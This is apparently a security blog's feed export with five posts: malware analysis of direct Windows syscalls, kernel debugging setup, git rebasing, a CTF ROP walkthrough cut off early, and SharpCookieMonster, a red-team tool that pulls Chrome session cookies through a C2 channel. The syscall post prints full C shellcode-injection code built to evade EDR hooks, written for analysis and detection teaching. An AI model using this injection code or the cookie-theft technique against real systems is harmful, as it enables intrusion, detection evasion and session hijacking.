<![CDATA[jmp esp ]]>//favicon.pngjmp esp /Ghost 4.20Thu, 26 May 2022 00:03:32 GMT60<![CDATA[Malware Analysis: Syscalls]]>/malware-analysis-syscalls-example/61853a336891db077ceab8c0Fri, 12 Nov 2021 09:59:37 GMTMalware Analysis: Syscalls

This blog post can accompany a walkthrough video with herrcore on YouTube available here.


In the eternal cat-and-mouse chase between cyber attackers and cyber defenders, one of the critical activities that defenders can perform is the analysis of malware to draw out IOCs (Indicators of Compromise) and determine what it is that the malware has actually done on a system.

When malware is run on a Windows system it needs to interact with that system in some way. One of the most common ways to do so is by using the Windows API, where well known API calls such VirtualAllocateEx, WriteProcessMemory and CreateRemoteThread would allow malware to inject some malicious code into a process and then run that code.

For this reason, when debugging malware one of the first things you'll see people do is set breakpoints on these well known API calls and any others that could be used to perform malicious actions.

Similarly, defensive software such as EDRs will often monitor these API calls, such as by hooking them so that when they are called they first take a detour into EDR code where the arguments and behaviour can be analysed, before allowing the API call to continue.

Attackers have attempted to circumvent this by going 'lower' and using internal or undocumented API calls, such as RtlCreateUserThread or NtAllocateVirtualMemory, but these in turn are now also under close scrutiny.

The latest step is to move the angle of approach to as close to the kernel as possible, and to use syscalls directly, but first we should probably cover what a syscall actually is.

Syscalls


Note, the following applies to 64-bit executables on 64-bit Windows . While similar, 32-bit applications and on 32-bit Windows and WOW64 work slightly differently.


As alluded to above, the Windows Operating System (OS) has multiple layers of abstraction in order to allow developers internally some license to make changes to the way Windows internals works without breaking any programs that use their APIs.

For example, Microsoft provide the Windows API with great documentation on msdn which developers that wish to interact with the OS are encouraged to use (for example CreateThread in kernel32.dll which, unsurprisingly, creates a thread running some code). These API calls themselves may utilise other, lower level, internal or undocumented API calls, such as RtlCreateUserThread (in ntdll.dll), in order to provide that abstraction layer and wrap code that may change or be platform dependent, etc.

Ultimately, most of these API calls need to make some change that needs to be handled by the Windows Kernel (such as anything using hardware like reading and writing to disk). 'Kernel space' is highly protected and userland code cannot make change to or call kernel functions, except through the use of syscalls.

Malware Analysis: Syscalls
Image shamelessly pilfered from http://masters.donntu.org/

These syscalls takes place in functions in ntdll.dll (or Win32k for graphical calls), and are prefixed with Nt or Zw, such as NtCreateThread. These are the functions that actually perform the syscall, transferring execution from userland to the kernel in a controlled manner. So when an application calls, for example, CreateRemoteThread, the actual flow looks something like this:

Malware Analysis: Syscalls
Image nabbed from https://miro.medium.com/max/

So what does a syscall look like?

Essentially a syscall is simply involves moving a predetermined number (the System Call Number) into the rax register and then invoking the syscall instruction, something like this:

Malware Analysis: Syscalls
NtCreateThread in ntdll.dll making a syscall.

This then hands execution over to the kernel, which looks up the relevant function for this syscall number in the System Service Dispatch Table (SSDT) and then invokes it.

Using Syscalls

Now, using syscalls as a developer is risky as the syscall numbers are internal to Windows and can (and do) change with any update. So if you write code that uses the syscall instruction directly you could have working code one minute and broken code the next.

However, to attackers, they provide an excellent opportunity to hide their tracks by interacting with the OS at the lowest possible userland level, bypassing any controls or detections in place around the API layers and making life more difficult for reverse engineers as their binaries will not have any of the usual imports for the activities they are performing. Similarly, the usual breakpoints when dynamically reverse engineering malware on VirtualProtect, VirtualAlloc, WriteProcessMemory etc are all useless, as those API calls are not actually invoked.

To highlight this, I've written a simple example program that uses syscalls to execute some benign 'Message Box' shellcode into a target process. The code is available here for anyone interested in investigating further.

This program uses the popular Syswhispers2  project to do all the heavy lifting. Syswhispers2 maintains a lookup table of known syscall numbers across Windows versions and updates and populates the rax register with the appropriate value at runtime before invoking the syscall instruction to perform the action.

The functions are named after their 'real' counterparts to make it easy to develop in, but make no mistake  - these are not the real functions ntdll.dll.

Malware Analysis: Syscalls
Syswhispers2 assembly for NtAllocateVirtualMemory

As we can see above, a function hash identifier is passed to the Syswhispers2 GetSyscallNumber function which will determine the current OS and return the correct syscall number (in the rax register, as per usual).

After other register values are restored, the syscall instruction is then called.

This assembly file, along with the respective header and C files generated by Syswhispers2, can be imported in any project and provide you with the suite of functions you need to perform syscalls in your program and not use the Windows APIs at all.

In our example, we allocate some memory in the target process, write the shellcode to it, change it to execute permissions and then create a thread in the process to run the code.

#include <iostream>
#include "shellcode.h"
#include "syscalls.h"

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

int main(int argc, char* argv[])
{
    printf("**** Syscalls Example! ****\n");

    if (argc != 2) {
        printf("[!] Usage: %s <pid to inject into>\n", argv[0]);
        return EXIT_FAILURE;
    }

    auto pid = atoi(argv[1]);

    if (!pid) {
        printf("[-] Invalid PID: %s\n", argv[1]);
        return EXIT_FAILURE;
    }

    HANDLE hProcess;
    CLIENT_ID clientId{};
    clientId.UniqueProcess = (HANDLE)pid;
    OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
    auto status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

    if (!NT_SUCCESS(status)) {
        printf("[-] Failed to open process: %d, NTSTATUS: 0x%x\n", pid, status);
        return EXIT_FAILURE;
    }
    printf("[*] Successfully opened process %d\n", pid);



    size_t shellcodeSize = sizeof(shellcode) / sizeof(shellcode[0]);
    printf("[*] Shellcode length: %lld\n", shellcodeSize);
    PVOID baseAddress = NULL;
    size_t allocSize = shellcodeSize;
    status = NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &allocSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    if (!NT_SUCCESS(status)) {
        printf("[-] Failed to allocate memory, NTSTATUS: 0x%x\n", status);
        return EXIT_FAILURE;
    }
    printf("[*] Successfully allocated RW memory at 0x%p of size %lld\n", baseAddress, allocSize);


    
    size_t bytesWritten;
    status = NtWriteVirtualMemory(hProcess, baseAddress, &shellcode, shellcodeSize, &bytesWritten);
    if (!NT_SUCCESS(status)) {
        printf("[-] Failed to write shellcode to memory at 0x%p, NTSTATUS: 0x%x\n", baseAddress, status);
        return EXIT_FAILURE;
    }
    printf("[*] Successfully wrote shellcode to memory\n");



    DWORD oldProtect;
    status = NtProtectVirtualMemory(hProcess, &baseAddress, &shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);
    if (!NT_SUCCESS(status)) {
        printf("[-] Failed to change permission to RX on memory at 0x%p, NTSTATUS: 0x%x\n", baseAddress, status);
        return EXIT_FAILURE;
    }
    printf("[*] Successfully changed memory protections to RX\n");



    HANDLE hThread;
    CONTEXT threadContext;
    CLIENT_ID threadClientId;
    USER_STACK teb;
    status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, NULL, NULL, NULL, NULL); 
    if (!NT_SUCCESS(status)) {
        printf("[-] Failed to create thread, NTSTATUS: 0x%x\n", status);
        return EXIT_FAILURE;
    }
    printf("[*] Successfully created thread in process\n");



    printf("[+] Shellcode injected using syscalls!\n");
    return EXIT_SUCCESS;
}
Syscalls example code using Syswhispers2

As you can see Syswhispers2 has made is super easy to use syscalls in malware, however any of this can be done manually of course or in slightly different ways by malware authors.

Analysis

So now to the meat of the matter, what does malware that uses syscalls look like under the microscope, and what do we need to know to look for?

If we examine our example binary in CFF Explorer we can see that, as expected, it doesn't import any of the usual suspect API calls, similar to if it was using dynamic API resolution.

Malware Analysis: Syscalls
Our syscalls example doesn't import any of the usual 'suspicious' imports.

If we run it in a debugger, none of our API breakpoints get hit.

When we start to statically reverse engineer the binary we don't see calls to LoadLibrary, no API hashes or dynamic resolution.

If we see this, and suspect the use of syscalls, one quick and easy win is to simply check for any syscall instructions. We can do this in IDA through the Text search with Find all occurrences checked.

Malware Analysis: Syscalls
Search for syscall instructions in IDA
Malware Analysis: Syscalls
The text search which find all occurrences of 'syscall', including syscall instructions.

Normal applications should almost under no circumstances be making syscalls directly, and instead be using API calls to interact with the OS. If you find syscall instructions it is a large red flag.

Examining one of these instances we can see the function and recognise it from Syswhispers2, with the API hash being passed to the syscall number identification function and the the syscall instruction itself at the bottom.

Malware Analysis: Syscalls
One example of the syscall instruction found by the text search.

We can take this function hash (0xFBCC0E8) and search for it in our example project, or Syswhispers2 itself, and find that it is for NtReadFile.

Malware Analysis: Syscalls
We can match that call to the Syswhispers2 function.

Of course this only works if the target is using Syswhispers2, but knowing that the PE is using syscalls can help focus reversing efforts and ensure we don't miss anything. Attackers can also use hard-coded syscall numbers if they know the specific version of Windows that the payload will be run on, or write their own syscall number resolution routine.

Similarly, they can also set up a syscall and populate the rax register but jmp to a legitimate syscall instruction in ntdll.dll. In this case, our Text search wouldn't find anything as there are no syscall instructions in the PE.

Dynamic Analysis

The best way however is to kernel debug the target and set breakpoints on the SSDT for functions of note (allocating virtual memory, writing to virtual memory etc), as this will allow the analyst to track the activity with 100% certainty.

This topic warrants its own blog post however, so we shall cover this next time!

An alternative, if we searched and found syscall instructions in the PE, is to take the list of syscall instructions in IDA and use the relative offsets to place breakpoints on those calls when we're debugging the application.

Malware Analysis: Syscalls
Noting the address and relative offset of the syscall instructions in IDA

For example, if we note the address of this instruction in IDA, we can see it's at a relative offset of 1B6D (0x140001B6d - the module base address of 0x140000000).

So we can start debugging and stick a breakpoint on this offset (it is unlikely to be the same address due to ASLR, but we can just add this offset to the module base address once its loaded) along with all the other syscall instructions, and from there start to build a picture of what the application is doing.


Edit: After this blog post went out readgsqword on twitter reached out and shared the following code for idapython which I have included here.

from idautils import *
from idaapi import *
from idc import *
def breakpoint_syscall():
  name = get_input_file_path().split("\\")[-1]
  for segea in Segments():
    for funcea in Functions(segea, get_segm_end(segea)):
        functionName = get_func_name(funcea)
        for (startea, endea) in Chunks(funcea):
            for head in Heads(startea, endea):
              disasm_line = generate_disasm_line(head,0)
              if disasm_line.find("syscall") != -1 and disasm_line.find("Low latency system call") != -1:
                offset = head - get_imagebase()
                print("bp %s:0+0x%08x;"%(name, offset))
                idc.add_bpt(head)
breakpoint_syscall()

If you have IDA pro you can paste this in the Python prompt and it will set a breakpoint on each code line in a function containing a syscall instruction.

For x64dbg lovers, it will also print the command needed to set breakpoints for each offset in x64dbg, which can be copy pasted into the x64dbg command prompt.

Malware Analysis: Syscalls
The code snippit in action.
Malware Analysis: Syscalls
The output can be used to set breakpoints in x64dbg.
Malware Analysis: Syscalls
The breakpoints set successfully.

Here we can see it has created breakpoints on all five of the syscalls used (NtOpenProcess, NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualmemory and NtCreateThreadEx)

Note this will only create breakpoints for syscalls IDA finds in a function, so if the code is elsewhere in a binary or IDA believes is it not used, then this will not include those calls. However the search technique can be used as a fallback in that case.


We start debugging the malware again and once we hit the entrypoint we have the module address:

Malware Analysis: Syscalls
The entrypoint breakpoint in x64dbg providing an address in the module.

We know that a syscall instruction is at offset 1B6D, so we stick a breakpoint on 0x7FF7C6E31B6D

Malware Analysis: Syscalls
Set our breakpoint

This time, when we continue execution, we hit the breakpoint and x64dbg helpfully informs us that this syscall will call NtAllocateVirtualMemory

Malware Analysis: Syscalls
x64dbg examines the syscall number in rax and informs us this syscall is NtAllocateVirtualMemory

A quick search and we can see that the second argument to NtAllocateVirtualMemory is a pointer to the location that will receive the base address of the allocation.

Malware Analysis: Syscalls
NtAllocateVirtualMemory, despite being an internal API call, is documented on MSDN.

The Windows 64-bit calling convention passes the first four integer arguments in the rcx, rdx, r8 and r9 registers, so if we follow rdx in the dump and step over the syscall, we will see this location being populated with a pointer to the base address of the allocation.

Malware Analysis: Syscalls
rdx points to this location before we step over the syscall.
Malware Analysis: Syscalls
The same location after the syscall.

We can right-click this location and choose integer -> hex 64 to show this location as a 64 bit int, then copy the value and examine that region in our target process (here notepad.exe).

Malware Analysis: Syscalls
Malware Analysis: Syscalls
The location as an int

We can then open up the target process in Process Hacker and examine this location in memory, noting that it has indeed been allocated.

Malware Analysis: Syscalls
The allocation was successful.

If we continue execution, rinsing and repeating for the other syscalls, we see the region get populated with the shellcode, the thread get created and then the message box pop as the shellcode is run.

Malware Analysis: Syscalls
The region after the shellcode has been written to it.
Malware Analysis: Syscalls
The shellcode executing.

It's worth noting however that this technique (along with the static analysis with the search) only works if the syscalls instructions take place inside the malware, such as with Syswhispers2, which is why the ultimate authority when dealing with syscall malware is a kernel mode debugger.

Summary

Using syscalls is a sophisticated technique available to attackers that take a little extra work but allows the malware to bypass API hooks, breakpoints and detections by interacting with the kernel directly via the syscall interface.

Knowing what to look for then if you suspect the use of syscalls then is extremely useful, and having this knowledge in the back pocket can help you avoid running afoul of malware using this technique. We've looked at what syscalls are, and some ways to help locate and debug what they are doing in 64bit Windows executables.

You can find the example projects (including a vanilla API example and a syscalls example) used in this blog on GitHub here: https://github.com/m0rv4i/SyscallsExample

]]>
<![CDATA[Windows Kernel Debugging 101 - Setup]]>/windows-kernel-debugging-101/5ea564aa5f2e300768b0de24Sun, 31 Oct 2021 13:13:16 GMT

Kernel debugging always seemed a little arcane to me. It was something that techno-wizards partook in from their turbid lairs, whispering incantations over keyboards while us lesser mortals confine ourselves to the safety of userland.

This post however aims to pull aside the curtain and shed the sheen of mysticism from kernel debugging and demonstrate how straightforward it really is. In fact, this will be little more than a regurgitation of the MDSN post on the matter, with a few extra steps, details and opinions along the way.

Environment setup

To begin with, we'll need a debugger and debugee. While technically possible to debug the kernel on the host machine (with some pretty strong caveats) it's far easier and more productive to debug the kernel on one host from another, as otherwise when you hit a breakpoint and the kernel stops, well so does everything else...

The easiest way to do this nowadays is with the use of a Virtual Machine (the debuggee) performing any actions that we wish to investigate, communicating with its host (the debugger), which will be doing the investigating.

For the debugee we'll use the classic free Windows developer VM and run it from within VMWare.

For the host we'll use Windows 10 with WinDbg Preview from the Microsoft Store. This is the latest generation of the venerable WinDbg debugger from Microsoft. We'll also need the Debugging Tools for Windows 10 to be installed on the host.

Comms

The next step is to ensure that the debugee can communicate with the host. There are multiple ways to do this, such as via a serial port or a named pipe, but the easiest and most stable is simply a network socket.

For this to work, the host must be able to communicate with the VM on a specified IP and port. To this end, we'll set up the VM in Host-only mode. In VMWare, for the debugee VM, navigate to VM -> Settings and choose Host-only for the Network Adapter configuration.

Windows Kernel Debugging 101 - Setup

Whilst we're on the host, we might as well take note of the host IP. In this case, I'm noting the host's IP on my home network by running ipconfig from a PowerShell prompt on the host.

Windows Kernel Debugging 101 - Setup

KDNet Setup

Next, we'll navigate to the Windows Debugging Tools directory on the host, by default at C:\Program Files (x86)\Windows Kits\10\Debuggers\x64, and copy the kdnet.exe and VerifiedNICList.xml files onto the debugee VM. We'll place these at a convenient location, for example C:\kdnet.

Windows Kernel Debugging 101 - Setup

From an Administrator PowerShell prompt we then run `kdnet.exe`, which informs us that Network debugging is supported on the main Network Interface (NIC).

Windows Kernel Debugging 101 - Setup

This NIC is the correct one for communicating with the host, so we can move forwards and enable network debugging between the two by running kdnet.exe <HostIP> <DebugPort>. The debug port needs to be unique per debugee (in the event we want to debug more than one at a time) and it is recommended by Microsoft that we choose a port between 50000-500039.

In our case then we'll run kdnet.exe 192.168.1.105 50007.

Windows Kernel Debugging 101 - Setup

The output of kdnet.exe provides us with a key and instructs to reboot the computer, however hold off on that for now and instead copy the key and move to the debugger.

From WinDbg Preview, choose File -> Start Debugging -> Attach to Kernel

Windows Kernel Debugging 101 - Setup

Under the Net tab, enter the port number and the key from the output of kdnet.exe. We don't need a Target IP (as it says), so instead just hit ok. WinDbg will note it's using NET debugging and we see a prompt saying "Waiting to reconnect..."

Windows Kernel Debugging 101 - Setup

Then, reboot the VM (using the shutdown command kdnet.exe provided or otherwise) and wait for the connection to the debugger. Shortly after hitting the splash screen as the VM boots, we should see the connection in the debugger.

Windows Kernel Debugging 101 - Setup

We'll wait a little longer (the VM will probably be a fair bit slower while being debugged) and let the machine finish booting to ensure that all the system structures have been successfully set up and populated, and then we'll hit the 'break' button in the debugger to pause execution and allow us to start poking around the innards of Windows 10.

For example, issuing the lm k command (loaded kernel modules) will list the various modules and drivers loaded into the kernel.

Windows Kernel Debugging 101 - Setup

This brings us to the conclusion of this post. Microsoft have actually made it very accessible and straightforward to set up and get going with kernel debugging, and this post really only hopes to highlight this and act as a trampoline for what comes next.

Next time we'll be using the debugger to explore the kernel itself as we try to get a handle on what works where in Windows kernel land and explore the transition from userland to the kernel through the use of syscalls and interrupts.

]]>
<![CDATA[SharpCookieMonster]]>/sharpcookiemonster/5e28c1bf0f23c4076ed1d588Wed, 22 Jan 2020 22:20:04 GMT

I recently came across the awesome cookie crimes repository by @defaultnamehere. This handy tool will extract cookies from Google Chrome, however it is a python script (with the option to use pyinstaller to package it as an executable), but what I really wanted was a .NET assembly that I can run in memory down C2 through tools such as PoshC2 using run-exe or CobaltStrike beacon's execute-assembly command.

To that end I decided to rewrite it in .NET, and the result is SharpCookieMonster. All credit for the original work goes to @defaultnamehere.

Usage

Simply pass the site name to the binary.

SharpCookieMonster.exe [https://sitename.com] [chrome-debugging-port] [user data dir]

An optional first argument sepcifies the site that chrome will initially connect to when launched (default https://www.google.com).

An optional second argument specifies the port to launch the chrome debugger on (by default 9142).

Finally, an optional third argument specifies the path to the user data directory, which can be overridden in order to access different profiles (default %APPDATALOCAL%\Google\Chrome\User Data).

SharpCookieMonster
SharpCookieMonster

As you can see, it can be used to extract session, httpOnly and secure cookies down a C2 channel all in memory. It has also been added to PoshC2 as a module and with Autoloads and Aliases set up, so it can be simply run using the sharpcookiemonster. Under the hood this uses PoshC2's run-exe feature.

This also works with CobaltStrike's beacon however using execute-assembly.

It's also worth noting that you don't need any sort of privileged access to do this, just code execution in that user's context on the computer where the sessions are stored.

How does it work?

Under the hood this works by first launching Google Chrome as a headless process. We start by enumerating any running chrome.exe processes in order to pull out it's image path, but if that fails then we default to C:\Program Files (x86)\Google\Chrome\Application\chrome.exe. We then launch that executable, setting the approriate flags and redirecting that process' output to our stdout, so that we can see if it errors even when running it down our C2 channel.

The --headless flag means that chrome.exe will essentially run without any user interface, but can be interacted with using its APIs. For a red teamer this is perfect, as it will only appear as another (genuine) chrome.exe process but will not present anything to the user. Remote debugging is then enabled for this process via the --remote-debugging-port flag, and we point the data directory to the user's existing data directory using --user-data-dir.

SharpCookieMonster
Launching Chrome.

Once this is launched we then check if the process is running and wait for the debugger port to be open.

We can then interact with the API on that port to get the websocket debugger URL. This URL allows programs to interact with Chrome's devtools through an API over websockets, giving us the full power of those devtools. All this is done locally on the victim's machine, as that's where both this binary is being run, and the headless Chrome process is running.

SharpCookieMonster
Extracting the cookies.

We can then issue the request to retrieve all the cookies in the cache for that profile, and return them to the operator.

@defaultnamehere's original blog post on the topic goes into some more detail and is an excellent read for those wanting to know more.

Building the binary

If you want to build the binary yourself just clone it and build it in Visual Studio.

The project has been set up to be compatible with .NET 3.5 in order to be compatible with victims with older versions of .NET installed. However in order to use WebSockets to communicate with Chrome the WebSocket4Net package was added.

If you want to run this down C2 such as using PoshC2's sharpcookiemonster command or via CobaltStrike's execute-assembly then use ILMerge to merge the built executable with the dependency libraries.

For example, first rename the original binary then run:

ILMerge.exe /targetplatform:"v2,C:\Windows\Microsoft.NET\Framework\v2.0.50727" /out:SharpCookieMonster.exe SharpCookieMonsterOriginal.exe WebSocket4Net.dll SuperSocket.ClientEngine.dll
]]>
<![CDATA[Why Git Rebasing Is Awesome]]>/git-rebasing/5ddfa3db24d4202fa30661ebFri, 29 Nov 2019 11:47:33 GMT

If you're in Infosec and you use Git, there's a good chance that you're just using it to clone and use the wealth of awesome open-source tools out there in the industry. If that's the case, rebasing probably isn't for you - it's just an added complication that won't add any real benefits.

If however, you collaborate on any development or contribute to any projects, then rebasing is a must-have tool in your arsenal that will make yours and everyone else's lives easier.

Why Git Rebasing Is Awesome
Git history that is hard to track

If your git history looks like this, a multicoloured, entangled, spaghetti-like mess that gives you PTSD flashbacks to Through the Fire and Flames on Guitar Hero, then you should know that for no extra effort it can instead look like this:

Why Git Rebasing Is Awesome
Linear Git history

Read on to find out how.

Git Commits

The thing to know about git is that under the hood all a commit is is just the collection of differences between files that make up its particular change.

When you first create a git project you perform your initial commit which adds files to the repository, and every subsequent commit just applies changes to those files (or creates or deletes files) known as diffs (differences).

These commits are then chained together, and you can navigate up and down the chain to view the repository in prior states, navigating 'back through time'. All git is doing under the hood is applying or unapplying those differences as you navigate that chain.

To show what differences make up a particular commit, we can use the git show <commit hash> command.

For example, if we look at commit 8d95576 is PoshC2's repository, we can see that the commit message is printed, along with the author and date and so on. Under this there is the diff. It details that this should be applied to ./Help.py in the repository (the a and b just indicate the two versions of the file, before and after) and shows the affected lines, including what was deleted (the line prefixed with a -) and added (prefixed with a +), in this case, the version was updated from v4.8 to v5.0.

commit 8d95576a968e63d0c15bb4801add135ae64e9e12 (tag: v5.0)
Author: benpturner <2518196+benpturner@users.noreply.github.com>
Date:   Wed Nov 13 08:28:13 2019 +0000

    Updated version on banner

diff --git a/Help.py b/Help.py
index dcf47ae..205e9eb 100644
--- a/Help.py
+++ b/Help.py
@@ -9,7 +9,7 @@ logopic = Colours.GREEN + r"""
   |    |  (  <_> )___ \|   Y  \ \     \____/       \\
   |____|   \____/____  >___|  /  \______  /\_______ \\
                      \/     \/          \/         \/
-  =============== v4.8 www.PoshC2.co.uk =============
+  =============== v5.0 www.PoshC2.co.uk =============
   =========== %s ===========
   """ % commit

So that all works well when one individual is committing changes in a linear fashion, but what happens when a second changes the same line?

Git Merges

If two people are working on the same repository and they both perform one or more git commits, then how does git know what to do when they both try and push up their changes?

Well the first person to push is lucky, their commit goes straight up as the next commit on the branch. The second person however will try and push their change and it will get rejected and the server will say there's already another link in the commit chain at the place they are trying to add theirs.

#2 will then have to pull down #1's changes and merge them locally, then push up the new state, with the chain in the correct place.

During the git pull git will try and automatically smush the two states together, applying all of #2's changes on top of #1's work. If that works, great, if not #2 has to manually merge the changes into the correct state, whatever that may be.

After all this, the final merged state is committed into a 'merge commit' which encompasses all the changes that were added by #2, even if they were originally split into multiple commits. However the final git history shows both the original commits and the merge commit as the latter may have altered the original work while merging, but this appears to show duplicated work in the history as commits that are 'branched off', and when this happens with multiple users or multiple merges at a time, the history can get real messy real quick.

Why Git Rebasing Is Awesome

As you can see above in this simple case, the two commits that make up the merge (in purple) are shown as branched off as they were performed in a different 'timeline', and then a separate merge commit which encompasses all the changes from both of these commits is added to the main chain when those commits are merged. If the user encounters merge conflicts while merging these commits, they will have to resolve all the changes at once from all the commits, which can be hard to track and determine how each conflict should be resolved if the change is made up of multiple commits (here two).

All of this is the default way of doing things but it can end up being a bit of a nightmare trying to track down exactly what change came from where and who, which is why we're going to look at rebasing.

Git Rebasing

Rebasing is an alternative merging technique for git that involves taking the diffs in the commits that make up your change and just 'replaying' them on top of the head of the chain - you are changing the base of the branch to be the other branch (re-basing) and then applying any new commits on top.

So in the case of the version update commit above, if this commit was rebased onto master instead of merged, the change would just be applied on top of master as if it were a normal commit. If that would be the case anyway as no new commits were on the master branch, then the branch is instead just fast-forwarded to the most recent commit, as the work is already done.

If this is not the case and the first change is applied without any errors, then the next commit is applied on top of that one, and so on. The end result is that the states end up getting merged 'as if' they had happened all sequentially in the same 'timeline', as opposed to in parallel.

If there is an unresolvable conflict while applying a commit, then that conflict must still solved manually by the user, however these are done incrementally as the commits are applied one-by-one as opposed to all in one big blob. This makes it a lot easier to manage, as they will be smaller changes and you can compare the changes for the commits before and after to check state.

Ok so how?

The most common case where merges happen is when doing a git pull. You've made changes locally, someone else has made changes and pushed them to the server, and now you have to merge them.

To perform a rebase instead of a merge when doing a pull, simply add the --rebase option:

git pull --rebase

This will rewind your work to determine what is 'new', then apply those on top of the remote branch. For example, if we just had one commit called 'WIP':

First, rewinding head to replay your work on top of it...
Applying: WIP

You can also set up your git configuration to automatically rebase when pulling by running this command:

git config --global pull.rebase true

Then you can just enter git pull as usual.

If you want to rebase a branch locally (such as keeping a development branch up-to-date with master), you first check out the branch you want to change.

git checkout development

Then you use the git rebase command to rebase that branch on top of master, making it appear that all the new commits on development happened in a new timeline ahead of all commits on master

git rebase master

This command can include tags, hashes, references and so on such as:

git rebase origin/master
git rebase 583e3fb601cf1d6b683013e9c56dd22e59613975

If you want to abort your rebase you can run:

git rebase --abort

A word of warning

The only real 'gotcha' with this technique is that it alters the history of the branch you are rebasing as you are changing that branches base and then applying diffs on top of it.

The only case where this can be problematic is if the branch has already been pushed, as you cannot push a branch and change its history (caveat - keep reading) so your new push will be rejected. In general, only rebase local branches or local changes before pushing them up.

If you (and other contributors) commit locally and rebase when you pull instead of merging, then you two can have that slick, linear git history that makes things so much easier to view, in addition to simplifying merge conflicts and looking like a real boss.

If you do have to rebase a change that has already been pushed, then you can 'force push' with git push --force. Your branch which will overwrite the remote branch's history. This has the potential to lose work! - if someone else has pushed up another commit and you force push you can overwrite the history as if the change had never occurred, so be careful when doing so.

Summary

Rebasing is awesome and for no real extra effort it can make your life a lot easier. With a slight change to your configuration or commands you use, you too can adopt this better way of working.

For more git-fu, including how to get out of those 'oh crap' moments and how to avoid deleting and re-cloning repositories, check out the Git for Hackers series.

]]>
<![CDATA[Ropping to Victory - Part 4, write4]]>/ropping-to-victory-part-4-write4/5c6d6eb3881cc5475a75f040Sun, 12 May 2019 12:00:37 GMTRopping to Victory - Part 4, write4

This time we're looking at the fourth ropemporium challenge, write4, but this time we're going to do it in 64-bit. We'll have to write our own command to memory and then call system to execute it.

Binary Analysis

As per usual, let's run it:

# ./write464
write4 by ROP Emporium
64bits

Go ahead and give me the string already!
> test

Exiting

Looks similar to the others, let's fire up radare2.

r2 write464
 -- This code was intentionally left blank, try 'e asm.arch = ws'
[0x00400650]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
[0x00400650]> afl
0x00400650    1 41           entry0
0x00400610    1 6            sym.imp.__libc_start_main
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    4 58   -> 55   sym.register_tm_clones
0x00400700    3 28           entry.fini0
0x00400720    4 38   -> 35   entry.init0
0x004007b5    1 82           sym.pwnme
0x00400600    1 6            sym.imp.memset
0x004005d0    1 6            sym.imp.puts
0x004005f0    1 6            sym.imp.printf
0x00400620    1 6            sym.imp.fgets
0x00400807    1 17           sym.usefulFunction
0x004005e0    1 6            sym.imp.system
0x004008a0    1 2            sym.__libc_csu_fini
0x004008a4    1 9            sym._fini
0x00400830    4 101          sym.__libc_csu_init
0x00400746    1 111          main
0x00400630    1 6            sym.imp.setvbuf
0x004005a0    3 26           sym._init
0x00400640    1 6            sym..plt.got
[0x00400650]>

We see some stuff that at this point we're familiar with, let's take a look at the suspiciously useful function. This time we'll use the hud functionality to search for the function.

Let's enter visual mode with V and scroll through the visual modes until we get to the disassembler with p. We can then search through all flags by pressing the _ key, we then get a search prompt which dynamically searches the flags as we type.

As we search for 'useful' we notice there are in fact two flags:

0> usefu|
 - 0x00400807  sym.usefulFunction
   0x00400820  loc.usefulGadgets 

One is the usefulFunction we're expecting, but the second is a location flag called usefulGadgets. We notice that the memory addresses are pretty close together, let's press enter and navigate to the usefulFunction and take a look...

[0x00400807 [xAdvc] 0% 220 write464]> pd $r @ sym.usefulFunction
┌ (fcn) sym.usefulFunction 17
│   sym.usefulFunction ();
│           0x00400807      55             push rbp
│           0x00400808      4889e5         mov rbp, rsp
│           0x0040080b      bf0c094000     mov edi, str.bin_ls         ; 0x4
│           0x00400810      e8cbfdffff     call sym.imp.system         ;[1]
│           0x00400815      90             nop
│           0x00400816      5d             pop rbp
└           0x00400817      c3             ret
            0x00400818      0f1f84000000.  nop dword [rax + rax]
            ;-- usefulGadgets:
            0x00400820      4d893e         mov qword [r14], r15
            0x00400823      c3             ret
            0x00400824      662e0f1f8400.  nop word cs:[rax + rax]
            0x0040082e      6690           nop

The usefulFunction looks similar to the other challenges and includes the code that imports system, but this time it's followed by some gadgets , in particular a mov gadget that shifts memory around... hmm...

The name of the challenge and the gadget we have implies that we're supposed to write our own string to memory, however just in case let's search the binary for strings that may be useful. We can use our hud again to search through the output of any command by appending ~.... As we're in visual mode we'll have to hit : to enter a command, then izz~... to enter the hud:

0> cat|                                                                    


yep...nothing, and the same for sh. We are indeed goning to have to write one in ourselves.

Plan of attack

Let's take a closer look at the useful gadget:

;-- usefulGadgets:
            0x00400820      4d893e         mov qword [r14], r15
            0x00400823      c3             ret

This gadget moves the value of the r15 register into the address pointed at by the r14 register. What we want then, is the ability to control what r14 and r15 contain and we can write to any arbitrary memory address.

Let's see what other gadgets there are and see if we have what we need.

From command mode (or with a : again), let's search for a pop r14 gadget and see if we have one.

[0x0040084a]> /R pop r14
  0x0040088c               415c  pop r12
  0x0040088e               415d  pop r13
  0x00400890               415e  pop r14
  0x00400892               415f  pop r15
  0x00400894                 c3  ret

  0x0040088d                 5c  pop rsp
  0x0040088e               415d  pop r13
  0x00400890               415e  pop r14
  0x00400892               415f  pop r15
  0x00400894                 c3  ret

  0x0040088f                 5d  pop rbp
  0x00400890               415e  pop r14
  0x00400892               415f  pop r15
  0x00400894                 c3  ret

[0x0040084a]>

As luck would have it, we have a gadget that will pop r14 and pop r15 in one at 0x00400890. So it looks like we can write a string to memory, then use the rop techniques we have used previously to call system with our string!

Exploitation

Let's create our skeleton pwntools script, except this time for 64-bit, and we'll directly add our cyclic string to find the offset to the expected crash. As the registers are 8 bytes long instead of 4 (64-bits) we'll need to specify n=8 in our cyclic functions to ensure every set of 8 characters is unique.

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'amd64'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./write464')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
